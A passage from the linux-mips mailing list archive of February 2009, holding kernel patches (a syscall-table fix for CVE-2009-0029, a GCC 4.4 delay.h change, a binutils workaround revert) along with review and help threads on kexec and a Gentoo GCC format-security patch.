on_each_cpu(reset_counters, NULL, 1); + + switch (current_cpu_type()) { + case CPU_R5500: + op_model_vr5500_ops.cpu_type = "mips/vr5500"; + break; + + default: + printk(KERN_ERR "Profiling unsupported for this CPU\n"); + + return -ENODEV; + } + + save_perf_irq = perf_irq; + perf_irq = vr5500_perfcount_handler; + + return 0; +} + +static void vr5500_exit(void) +{ + on_each_cpu(reset_counters, NULL, 1); + + perf_irq = save_perf_irq; +} + +struct op_mips_model op_model_vr5500_ops = { + .reg_setup = vr5500_reg_setup, + .cpu_setup = vr5500_cpu_setup, + .init = vr5500_init, + .exit = vr5500_exit, + .cpu_start = vr5500_cpu_start, + .cpu_stop = vr5500_cpu_stop, + .num_counters = NUM_COUNTERS, +}; From David.Daney@caviumnetworks.com Mon Feb 23 17:34:29 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Feb 2009 17:34:33 +0000 (GMT) Received: from mail3.caviumnetworks.com ([12.108.191.235]:46287 "EHLO mail3.caviumnetworks.com") by ftp.linux-mips.org with ESMTP id S20808073AbZBWRe3 (ORCPT ); Mon, 23 Feb 2009 17:34:29 +0000 Received: from exch4.caveonetworks.com (Not Verified[192.168.16.23]) by mail3.caviumnetworks.com with MailMarshal (v6,2,2,3503) id ; Mon, 23 Feb 2009 12:33:25 -0500 Received: from exch4.caveonetworks.com ([192.168.16.23]) by exch4.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 23 Feb 2009 09:33:17 -0800 Received: from dd1.caveonetworks.com ([64.169.86.201]) by exch4.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959); Mon, 23 Feb 2009 09:33:17 -0800 Received: from dd1.caveonetworks.com (localhost.localdomain [127.0.0.1]) by dd1.caveonetworks.com (8.14.2/8.14.2) with ESMTP id n1NHXFWq018661; Mon, 23 Feb 2009 09:33:15 -0800 Received: (from ddaney@localhost) by dd1.caveonetworks.com (8.14.2/8.14.2/Submit) id n1NHXENh018659; Mon, 23 Feb 2009 09:33:14 -0800 From: David Daney To: linux-mips@linux-mips.org, ralf@linux-mips.org Cc: David Daney Subject: [PATCH] MIPS: Finish fixing CVE-2009-0029. Date: Mon, 23 Feb 2009 09:33:14 -0800 Message-Id: <1235410394-18636-1-git-send-email-ddaney@caviumnetworks.com> X-Mailer: git-send-email 1.5.6.6 X-OriginalArrivalTime: 23 Feb 2009 17:33:17.0229 (UTC) FILETIME=[D007DDD0:01C995DC] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21958 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ddaney@caviumnetworks.com Precedence: bulk X-list: linux-mips Content-Length: 1368 Lines: 47 The initial patch for CVE-2009-0029 lacked a couple of changes in the syscall tables. sys32_sysctl and sys32_ipc were renamed. Signed-off-by: David Daney --- arch/mips/kernel/scall64-n32.S | 2 +- arch/mips/kernel/scall64-o32.S | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/arch/mips/kernel/scall64-n32.S b/arch/mips/kernel/scall64-n32.S index e423ba2..7438e92 100644 --- a/arch/mips/kernel/scall64-n32.S +++ b/arch/mips/kernel/scall64-n32.S @@ -272,7 +272,7 @@ EXPORT(sysn32_call_table) PTR sys_munlockall PTR sys_vhangup /* 6150 */ PTR sys_pivot_root - PTR sys32_sysctl + PTR sys_32_sysctl PTR sys_prctl PTR compat_sys_adjtimex PTR compat_sys_setrlimit /* 6155 */ diff --git a/arch/mips/kernel/scall64-o32.S b/arch/mips/kernel/scall64-o32.S index 6ee7997..b0fef4f 100644 --- a/arch/mips/kernel/scall64-o32.S +++ b/arch/mips/kernel/scall64-o32.S @@ -320,7 +320,7 @@ sys_call_table: PTR compat_sys_wait4 PTR sys_swapoff /* 4115 */ PTR compat_sys_sysinfo - PTR sys32_ipc + PTR sys_32_ipc PTR sys_fsync PTR sys32_sigreturn PTR sys32_clone /* 4120 */ @@ -356,7 +356,7 @@ sys_call_table: PTR sys_ni_syscall /* 4150 */ PTR sys_getsid PTR sys_fdatasync - PTR sys32_sysctl + PTR sys_32_sysctl PTR sys_mlock PTR sys_munlock /* 4155 */ PTR sys_mlockall -- 1.5.6.6 From lists@nabble.com Mon Feb 23 18:42:37 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Feb 2009 18:42:39 +0000 (GMT) Received: from kuber.nabble.com ([216.139.236.158]:57252 "EHLO kuber.nabble.com") by ftp.linux-mips.org with ESMTP id S20808047AbZBWSmh (ORCPT ); Mon, 23 Feb 2009 18:42:37 +0000 Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1LbflD-0002RU-Ck for linux-mips@linux-mips.org; Mon, 23 Feb 2009 10:42:35 -0800 Message-ID: <22167417.post@talk.nabble.com> Date: Mon, 23 Feb 2009 10:42:35 -0800 (PST) From: wurststulle To: linux-mips@linux-mips.org Subject: Re: kexec on mips - anyone has it working? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: wurststulle@gmail.com References: <483BCB75.4050901@wpkg.org> <200805271405.55346.nschichan@freebox.fr> <483C0135.9070203@wpkg.org> <200805271449.45124.nschichan@freebox.fr> <483C4F73.4040909@wpkg.org> <200805291347.05196.nschichan@freebox.fr> <483F0EF3.3060500@wpkg.org> <200805301327.11925.nschichan@freebox.fr> <483FE764.1090901@wpkg.org> <200807011542.29274.nschichan@freebox.fr> <486A6F0D.4070802@wpkg.org> <200807012000.40421.nschichan@freebox.fr> <486A759D.6080803@wpkg.org> <22148789.post@talk.nabble.com> Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21959 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: wurststulle@gmail.com Precedence: bulk X-list: linux-mips Content-Length: 1583 Lines: 50 hi, thank you for the patch, but there is a mistake, that i can not fix: +#ifdef CONFIG_CRASH_DUMP + if (crashk_res.start != crashk_res.end) + reserve_bootmem(crashk_res.start, + crashk_res.end - crashk_res.start + 1); +#endif the function reserve_bootmem need i think three arguments. while compiling this error occurs: arch/mips/kernel/setup.c: In function 'arch_mem_init': arch/mips/kernel/setup.c:493: error: too few arguments to function 'reserve_bootmem' make[6]: *** [arch/mips/kernel/setup.o] Error 1 thanks! Arnaud Patard wrote: > > wurststulle writes: > > Hi, > >> is there any solution for this, i have the same problem > > What's your exact problem ? It hangs right after saying 'Bye...' ? > Some monthes ago, I played with the patch from M. Syrchin [ sorry, I don't > remember if it was on linux-mips or on the kexec list ]. I've made on it > a small modification (compare the machine_kexec_prepare function in my > version [1] and the original function) and it was somewhat working on > Qemu and on my box. It was not perfect but at least with a very minimal > test system, it was working. Maybe you can try it and see if it works > for you too. Depending on your platform, you may have to define machine > specific hooks too. > > Regards, > Arnaud > > [1] http://people.mandriva.com/~apatard/kexec_mips.patch > > > -- View this message in context: http://www.nabble.com/kexec-on-mips---anyone-has-it-working--tp17485898p22167417.html Sent from the linux-mips main mailing list archive at Nabble.com. From lists@nabble.com Mon Feb 23 20:18:51 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Feb 2009 20:18:53 +0000 (GMT) Received: from kuber.nabble.com ([216.139.236.158]:10656 "EHLO kuber.nabble.com") by ftp.linux-mips.org with ESMTP id S20808088AbZBWUSv (ORCPT ); Mon, 23 Feb 2009 20:18:51 +0000 Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1LbhGL-0000mH-3i for linux-mips@linux-mips.org; Mon, 23 Feb 2009 12:18:49 -0800 Message-ID: <22169257.post@talk.nabble.com> Date: Mon, 23 Feb 2009 12:18:49 -0800 (PST) From: Mirek23 To: linux-mips@linux-mips.org Subject: rtl8186 and lzma compression MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: miroslaw.dach@psi.ch Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21960 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: miroslaw.dach@psi.ch Precedence: bulk X-list: linux-mips Content-Length: 399 Lines: 13 I am just a beginner in linux-mips on rtl8186 based router (Canyon WF514). I am looking for a rtkload directory (part of EDIMAX linux 2.4.x) which is able to generate lzma compressed file (firmware). Best Regards Mirek -- View this message in context: http://www.nabble.com/rtl8186-and-lzma-compression-tp22169257p22169257.html Sent from the linux-mips main mailing list archive at Nabble.com. From arnaud.patard@mandriva.com Mon Feb 23 21:29:03 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Feb 2009 21:29:05 +0000 (GMT) Received: from mx1.moondrake.net ([212.85.150.166]:11211 "EHLO mx1.mandriva.com") by ftp.linux-mips.org with ESMTP id S20808100AbZBWV3D (ORCPT ); Mon, 23 Feb 2009 21:29:03 +0000 Received: by mx1.mandriva.com (Postfix, from userid 501) id EA290274006; Mon, 23 Feb 2009 22:29:01 +0100 (CET) Received: from office-abk.mandriva.com (office-abk.mandriva.com [84.55.162.90]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.mandriva.com (Postfix) with ESMTP id D4A92274002; Mon, 23 Feb 2009 22:28:58 +0100 (CET) Received: from anduin.mandriva.com (fw2.mandriva.com [192.168.2.3]) by office-abk.mandriva.com (Postfix) with ESMTP id 0D64682816; Mon, 23 Feb 2009 22:29:38 +0100 (CET) Received: from anduin.mandriva.com (localhost [127.0.0.1]) by anduin.mandriva.com (Postfix) with ESMTP id 70AD9FF855; Mon, 23 Feb 2009 22:29:00 +0100 (CET) From: Arnaud Patard To: wurststulle Cc: linux-mips@linux-mips.org Subject: Re: kexec on mips - anyone has it working? References: <483BCB75.4050901@wpkg.org> <200805271405.55346.nschichan@freebox.fr> <483C0135.9070203@wpkg.org> <200805271449.45124.nschichan@freebox.fr> <483C4F73.4040909@wpkg.org> <200805291347.05196.nschichan@freebox.fr> <483F0EF3.3060500@wpkg.org> <200805301327.11925.nschichan@freebox.fr> <483FE764.1090901@wpkg.org> <200807011542.29274.nschichan@freebox.fr> <486A6F0D.4070802@wpkg.org> <200807012000.40421.nschichan@freebox.fr> <486A759D.6080803@wpkg.org> <22148789.post@talk.nabble.com> <22167417.post@talk.nabble.com> Organization: Mandriva Date: Mon, 23 Feb 2009 22:29:00 +0100 In-Reply-To: <22167417.post@talk.nabble.com> (wurststulle@gmail.com's message of "Mon, 23 Feb 2009 10:42:35 -0800 (PST)") Message-ID: User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21961 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: apatard@mandriva.com Precedence: bulk X-list: linux-mips Content-Length: 648 Lines: 22 wurststulle writes: > hi, thank you for the patch, but there is a mistake, that i can not fix: > > +#ifdef CONFIG_CRASH_DUMP > + if (crashk_res.start != crashk_res.end) > + reserve_bootmem(crashk_res.start, > + crashk_res.end - crashk_res.start + 1); > +#endif > > the function reserve_bootmem need i think three arguments. while compiling > this error occurs: > > arch/mips/kernel/setup.c: In function 'arch_mem_init': > arch/mips/kernel/setup.c:493: error: too few arguments to function > 'reserve_bootmem' oops. Adding BOOTMEM_DEFAULT as 3rd parameter should cure the problem I think. Arnaud From ralf@h5.dl5rb.org.uk Mon Feb 23 22:42:41 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Feb 2009 22:42:43 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:28851 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S20808088AbZBWWml (ORCPT ); Mon, 23 Feb 2009 22:42:41 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1NMgaiw029144; Mon, 23 Feb 2009 22:42:37 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1NMgZMD029142; Mon, 23 Feb 2009 22:42:35 GMT Date: Mon, 23 Feb 2009 22:42:35 +0000 From: Ralf Baechle To: David Daney Cc: linux-mips@linux-mips.org Subject: Re: [PATCH] MIPS: Finish fixing CVE-2009-0029. Message-ID: <20090223224235.GD10434@linux-mips.org> References: <1235410394-18636-1-git-send-email-ddaney@caviumnetworks.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1235410394-18636-1-git-send-email-ddaney@caviumnetworks.com> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21962 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 339 Lines: 9 On Mon, Feb 23, 2009 at 09:33:14AM -0800, David Daney wrote: > The initial patch for CVE-2009-0029 lacked a couple of changes in the > syscall tables. sys32_sysctl and sys32_ipc were renamed. Thanks. I applied the IPC part myself just before receiving this patch so I'll strip out that part from your patch and apply the rest. Ralf From David.Daney@caviumnetworks.com Tue Feb 24 19:15:06 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 24 Feb 2009 19:15:08 +0000 (GMT) Received: from smtp2.caviumnetworks.com ([209.113.159.134]:55602 "EHLO smtp2.caviumnetworks.com") by ftp.linux-mips.org with ESMTP id S20021772AbZBXTPG (ORCPT ); Tue, 24 Feb 2009 19:15:06 +0000 Received: from exch4.caveonetworks.com (Not Verified[192.168.16.23]) by smtp2.caviumnetworks.com with MailMarshal (v6,2,2,3503) id ; Tue, 24 Feb 2009 14:15:04 -0500 Received: from exch4.caveonetworks.com ([192.168.16.23]) by exch4.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 24 Feb 2009 11:14:42 -0800 Received: from dd1.caveonetworks.com ([64.169.86.201]) by exch4.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959); Tue, 24 Feb 2009 11:14:41 -0800 Received: from dd1.caveonetworks.com (localhost.localdomain [127.0.0.1]) by dd1.caveonetworks.com (8.14.2/8.14.2) with ESMTP id n1OJEdmn026685; Tue, 24 Feb 2009 11:14:39 -0800 Received: (from ddaney@localhost) by dd1.caveonetworks.com (8.14.2/8.14.2/Submit) id n1OJEc4g026683; Tue, 24 Feb 2009 11:14:38 -0800 From: David Daney To: linux-mips@linux-mips.org, ralf@linux-mips.org Cc: David Daney Subject: [PATCH] MIPS: Revert 25c3000300163e2ebf68d94425088de35ead3d76 Date: Tue, 24 Feb 2009 11:14:38 -0800 Message-Id: <1235502878-26660-1-git-send-email-ddaney@caviumnetworks.com> X-Mailer: git-send-email 1.5.6.6 X-OriginalArrivalTime: 24 Feb 2009 19:14:41.0974 (UTC) FILETIME=[253C0560:01C996B4] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21963 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ddaney@caviumnetworks.com Precedence: bulk X-list: linux-mips Content-Length: 1750 Lines: 51 Commit 25c3000300163e2ebf68d94425088de35ead3d76 added an ugly work around for a bug in binutils 2.19 that was needed for Cavium Octeon processor support. Now binutils 2.19.1 have been released and the work around is no longer necessary. Since Cavium Octeon processor support has not yet been part of any official kernel release, there is no need to maintain compatibility with older toolchains. We can simply say that only binutils 2.19.1 or later is supported (instead of 2.19 or later as it was before). Signed-off-by: David Daney --- arch/mips/include/asm/mipsregs.h | 2 -- arch/mips/kernel/genex.S | 4 ---- 2 files changed, 0 insertions(+), 6 deletions(-) diff --git a/arch/mips/include/asm/mipsregs.h b/arch/mips/include/asm/mipsregs.h index 0417516..207d098 100644 --- a/arch/mips/include/asm/mipsregs.h +++ b/arch/mips/include/asm/mipsregs.h @@ -1028,8 +1028,6 @@ do { \ __asm__ __volatile__( \ ".set\tpush\n\t" \ ".set\treorder\n\t" \ - /* gas fails to assemble cfc1 for some archs (octeon).*/ \ - ".set\tmips1\n\t" \ "cfc1\t%0,"STR(source)"\n\t" \ ".set\tpop" \ : "=r" (__res)); \ diff --git a/arch/mips/kernel/genex.S b/arch/mips/kernel/genex.S index 8882e57..4d49322 100644 --- a/arch/mips/kernel/genex.S +++ b/arch/mips/kernel/genex.S @@ -385,14 +385,10 @@ NESTED(nmi_handler, PT_SIZE, sp) .endm .macro __build_clear_fpe - .set push - /* gas fails to assemble cfc1 for some archs (octeon).*/ \ - .set mips1 cfc1 a1, fcr31 li a2, ~(0x3f << 12) and a2, a1 ctc1 a2, fcr31 - .set pop TRACE_IRQS_ON STI .endm -- 1.5.6.6 From David.Daney@caviumnetworks.com Tue Feb 24 23:06:31 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 24 Feb 2009 23:06:33 +0000 (GMT) Received: from mail3.caviumnetworks.com ([12.108.191.235]:27427 "EHLO mail3.caviumnetworks.com") by ftp.linux-mips.org with ESMTP id S20808466AbZBXXGb (ORCPT ); Tue, 24 Feb 2009 23:06:31 +0000 Received: from exch4.caveonetworks.com (Not Verified[192.168.16.23]) by mail3.caviumnetworks.com with MailMarshal (v6,2,2,3503) id ; Tue, 24 Feb 2009 18:05:27 -0500 Received: from exch4.caveonetworks.com ([192.168.16.23]) by exch4.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 24 Feb 2009 15:04:27 -0800 Received: from dd1.caveonetworks.com ([64.169.86.201]) by exch4.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959); Tue, 24 Feb 2009 15:04:27 -0800 Received: from dd1.caveonetworks.com (localhost.localdomain [127.0.0.1]) by dd1.caveonetworks.com (8.14.2/8.14.2) with ESMTP id n1ON4NhK024944; Tue, 24 Feb 2009 15:04:23 -0800 Received: (from ddaney@localhost) by dd1.caveonetworks.com (8.14.2/8.14.2/Submit) id n1ON4Mcj024942; Tue, 24 Feb 2009 15:04:22 -0800 From: David Daney To: linux-mips@linux-mips.org, ralf@linux-mips.org Cc: David Daney Subject: [PATCH] MIPS: Handle removal of 'h' constraint in GCC 4.4 Date: Tue, 24 Feb 2009 15:04:22 -0800 Message-Id: <1235516662-24919-1-git-send-email-ddaney@caviumnetworks.com> X-Mailer: git-send-email 1.5.6.6 X-OriginalArrivalTime: 24 Feb 2009 23:04:27.0674 (UTC) FILETIME=[3E26E7A0:01C996D4] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21964 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ddaney@caviumnetworks.com Precedence: bulk X-list: linux-mips Content-Length: 1921 Lines: 67 Due to the removal of the 'h' asm constraint in GCC-4.4, we need to adjust the computation in delay.h Signed-off-by: David Daney --- Tested on 64-bit kernel (Cavium Octeon). arch/mips/include/asm/compiler.h | 7 +++++++ arch/mips/include/asm/delay.h | 10 +++++++++- 2 files changed, 16 insertions(+), 1 deletions(-) diff --git a/arch/mips/include/asm/compiler.h b/arch/mips/include/asm/compiler.h index 71f5c5c..1f0954d 100644 --- a/arch/mips/include/asm/compiler.h +++ b/arch/mips/include/asm/compiler.h @@ -16,4 +16,11 @@ #define GCC_REG_ACCUM "accum" #endif +#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 4) +#define GCC_NO_H_CONSTRAINT +#ifdef CONFIG_64BIT +typedef unsigned int uint128_t __attribute__((mode(TI))); +#endif +#endif + #endif /* _ASM_COMPILER_H */ diff --git a/arch/mips/include/asm/delay.h b/arch/mips/include/asm/delay.h index b0bccd2..9be0ba7 100644 --- a/arch/mips/include/asm/delay.h +++ b/arch/mips/include/asm/delay.h @@ -62,8 +62,9 @@ static inline void __delay(unsigned long loops) static inline void __udelay(unsigned long usecs, unsigned long lpj) { +#ifndef GCC_NO_H_CONSTRAINT unsigned long hi, lo; - +#endif /* * The rates of 128 is rounded wrongly by the catchall case * for 64-bit. Excessive precission? Probably ... @@ -77,6 +78,12 @@ static inline void __udelay(unsigned long usecs, unsigned long lpj) 0x80000000ULL) >> 32); #endif +#ifdef GCC_NO_H_CONSTRAINT + if (sizeof(long) == 4) + usecs = ((u64)usecs * lpj) >> 32; + else + usecs = ((uint128_t)usecs * lpj) >> 64; +#else if (sizeof(long) == 4) __asm__("multu\t%2, %3" : "=h" (usecs), "=l" (lo) @@ -92,6 +99,7 @@ static inline void __udelay(unsigned long usecs, unsigned long lpj) : "=r" (usecs), "=h" (hi), "=l" (lo) : "r" (usecs), "r" (lpj) : GCC_REG_ACCUM); +#endif __delay(usecs); } -- 1.5.6.6 From macro@linux-mips.org Wed Feb 25 01:25:07 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 25 Feb 2009 01:25:10 +0000 (GMT) Received: from localhost.localdomain ([127.0.0.1]:25816 "EHLO localhost.localdomain") by ftp.linux-mips.org with ESMTP id S20808306AbZBYBZH (ORCPT ); Wed, 25 Feb 2009 01:25:07 +0000 Date: Wed, 25 Feb 2009 01:25:07 +0000 (GMT) From: "Maciej W. Rozycki" To: David Daney cc: linux-mips@linux-mips.org, Ralf Baechle Subject: Re: [PATCH] MIPS: Handle removal of 'h' constraint in GCC 4.4 In-Reply-To: <1235516662-24919-1-git-send-email-ddaney@caviumnetworks.com> Message-ID: References: <1235516662-24919-1-git-send-email-ddaney@caviumnetworks.com> User-Agent: Alpine 1.10 (LFD 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21965 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: macro@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 1976 Lines: 60 On Tue, 24 Feb 2009, David Daney wrote: > @@ -16,4 +16,11 @@ > #define GCC_REG_ACCUM "accum" > #endif > > +#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 4) > +#define GCC_NO_H_CONSTRAINT > +#ifdef CONFIG_64BIT > +typedef unsigned int uint128_t __attribute__((mode(TI))); > +#endif > +#endif > + > #endif /* _ASM_COMPILER_H */ I suggest to call it u128 in line with all the other such types (and place it in ?). Also it might be more reasonable to call the macro something like GCC_HAS_EXT64_MULT or suchlike as in my opinion we should prefer using C code for a calculation like this even if the "h" constraint still worked. We might want to have i128 too. :) > @@ -62,8 +62,9 @@ static inline void __delay(unsigned long loops) > > static inline void __udelay(unsigned long usecs, unsigned long lpj) > { > +#ifndef GCC_NO_H_CONSTRAINT > unsigned long hi, lo; > - > +#endif > /* > * The rates of 128 is rounded wrongly by the catchall case > * for 64-bit. Excessive precission? Probably ... > @@ -77,6 +78,12 @@ static inline void __udelay(unsigned long usecs, unsigned long lpj) > 0x80000000ULL) >> 32); > #endif > > +#ifdef GCC_NO_H_CONSTRAINT > + if (sizeof(long) == 4) > + usecs = ((u64)usecs * lpj) >> 32; > + else > + usecs = ((uint128_t)usecs * lpj) >> 64; > +#else > if (sizeof(long) == 4) > __asm__("multu\t%2, %3" > : "=h" (usecs), "=l" (lo) > @@ -92,6 +99,7 @@ static inline void __udelay(unsigned long usecs, unsigned long lpj) > : "=r" (usecs), "=h" (hi), "=l" (lo) > : "r" (usecs), "r" (lpj) > : GCC_REG_ACCUM); > +#endif > > __delay(usecs); > } Ouch, this is horribly ugly. It begs for making the conditional chunks a pair of separate static inline functions. You could then do something like __delay(__usecs_to_loops(usecs, lpj)) and simply have two variants of __usecs_to_loops() with no need to chop code with #ifdefs in the middle. Maciej From kumba@gentoo.org Wed Feb 25 05:14:13 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 25 Feb 2009 05:14:16 +0000 (GMT) Received: from qmta07.westchester.pa.mail.comcast.net ([76.96.62.64]:457 "EHLO QMTA07.westchester.pa.mail.comcast.net") by ftp.linux-mips.org with ESMTP id S20808190AbZBYFON (ORCPT ); Wed, 25 Feb 2009 05:14:13 +0000 Received: from OMTA13.westchester.pa.mail.comcast.net ([76.96.62.52]) by QMTA07.westchester.pa.mail.comcast.net with comcast id KzBk1b00W17dt5G575E8TF; Wed, 25 Feb 2009 05:14:08 +0000 Received: from [192.168.1.13] ([69.140.18.238]) by OMTA13.westchester.pa.mail.comcast.net with comcast id L5E71b00358Be2l3Z5E70g; Wed, 25 Feb 2009 05:14:08 +0000 Message-ID: <49A4D370.3080300@gentoo.org> Date: Wed, 25 Feb 2009 00:13:20 -0500 From: Kumba User-Agent: Thunderbird 2.0.0.19 (Windows/20081209) MIME-Version: 1.0 To: Manuel Lauss CC: Ralf Baechle , Geert Uytterhoeven , linux-mips@linux-mips.org Subject: Re: [SOLVED] Re: GCC-4.3.3 sillyness References: <20090130074407.GA12368@roarinelk.homelinux.net> <20090131085957.399614d1@scarran.roarinelk.net> In-Reply-To: <20090131085957.399614d1@scarran.roarinelk.net> Content-Type: multipart/mixed; boundary="------------030302060300030401020406" Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21966 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: kumba@gentoo.org Precedence: bulk X-list: linux-mips Content-Length: 3362 Lines: 98 This is a multi-part message in MIME format. --------------030302060300030401020406 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Manuel Lauss wrote: > On Fri, 30 Jan 2009 08:44:07 +0100 > Manuel Lauss wrote: > >> Hello, >> >> Can't build kernel because gcc-4.3.3 comes up with this gem: >> >> CC arch/mips/kernel/traps.o >> cc1: warnings being treated as errors >> /linux-2.6.git/arch/mips/kernel/traps.c: In function 'set_uncached_handler': >> /linux-2.6.git/arch/mips/kernel/traps.c:1599: error: format not a string literal and no format arguments > > Turns out Gentoo applied a patch (from Debian) which unconditionally > enables -Wformat-security (which is responsible for the warning). Yeah, I did some digging and it looks like we added a patch called "10_all_gcc-default-format-security.patch" into our gcc-4.3.3 ebuild. The patch claims it was ripped from Debian; can any Debian devs comment on whether you guys still use this patch and what the idea behind it is? I'm not sure if I'll find any discussion on our end as to why it's included without finding Mike (vapier) around. -- Joshua Kinard Gentoo/MIPS kumba@gentoo.org "The past tempts us, the present confuses us, the future frightens us. And our lives slip away, moment by moment, lost in that vast, terrible in-between." --Emperor Turhan, Centauri Republic --------------030302060300030401020406 Content-Type: text/plain; name="10_all_gcc-default-format-security.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="10_all_gcc-default-format-security.patch" ripped from Debian # DP: Turn on -Wformat -Wformat-security by default for C, C++, ObjC, ObjC++. --- gcc/c-common.c +++ gcc/c-common.c @@ -277,7 +277,7 @@ /* Warn about format/argument anomalies in calls to formatted I/O functions (*printf, *scanf, strftime, strfmon, etc.). */ -int warn_format; +int warn_format = 1; /* Warn about using __null (as NULL in C++) as sentinel. For code compiled with GCC this doesn't matter as __null is guaranteed to have the right --- gcc/c.opt +++ gcc/c.opt @@ -228,7 +228,7 @@ Warn about format strings that contain NUL bytes Wformat-security -C ObjC C++ ObjC++ Var(warn_format_security) Warning +C ObjC C++ ObjC++ Var(warn_format_security) Init(1) Warning Warn about possible security problems with format functions Wformat-y2k --- gcc/doc/invoke.texi +++ gcc/doc/invoke.texi @@ -2802,6 +2802,9 @@ @option{-Wformat-nonliteral}, @option{-Wformat-security}, and @option{-Wformat=2} are available, but are not included in @option{-Wall}. +NOTE: In Gentoo, this option is enabled by default for C, C++, ObjC, ObjC++. +To disable, use @option{-Wformat=0}. + @item -Wformat-y2k @opindex Wformat-y2k @opindex Wno-format-y2k @@ -2849,6 +2852,11 @@ in future warnings may be added to @option{-Wformat-security} that are not included in @option{-Wformat-nonliteral}.) +NOTE: In 